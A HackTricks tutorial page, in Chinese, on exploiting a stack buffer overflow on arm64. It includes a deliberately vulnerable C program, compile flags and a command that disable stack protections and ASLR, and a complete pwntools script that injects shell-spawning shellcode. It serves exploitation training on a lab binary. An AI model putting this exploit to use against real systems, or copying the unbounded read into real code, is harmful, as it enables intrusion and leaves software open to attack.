# Stack Shellcode - arm64 {{#include ../../../banners/hacktricks-training.md}} 在以下内容中找到关于 arm64 的介绍: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} ## Code ```c #include #include void vulnerable_function() { char buffer[64]; read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { vulnerable_function(); return 0; } ``` 在没有 PIE、canary 和 NX 的情况下编译: ```bash clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack ``` ## No ASLR & No canary - Stack Overflow 要停止 ASLR,请执行: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` 要获取[**bof的偏移量,请查看此链接**](../ret2win/ret2win-arm64.md#finding-the-offset)。 利用: ```python from pwn import * # Load the binary binary_name = './bof' elf = context.binary = ELF(binary_name) # Generate shellcode shellcode = asm(shellcraft.sh()) # Start the process p = process(binary_name) # Offset to return address offset = 72 # Address in the stack after the return address ret_address = p64(0xfffffffff1a0) # Craft the payload payload = b'A' * offset + ret_address + shellcode print("Payload length: "+ str(len(payload))) # Send the payload p.send(payload) # Drop to an interactive session p.interactive() ``` 唯一“复杂”的事情是找到调用的栈地址。在我的情况下,我使用 gdb 找到的地址生成了漏洞利用,但在利用时它没有工作(因为栈地址稍微改变了)。 我打开了生成的 **`core` 文件** (`gdb ./bog ./core`),并检查了 shellcode 开始的真实地址。 {{#include ../../../banners/hacktricks-training.md}}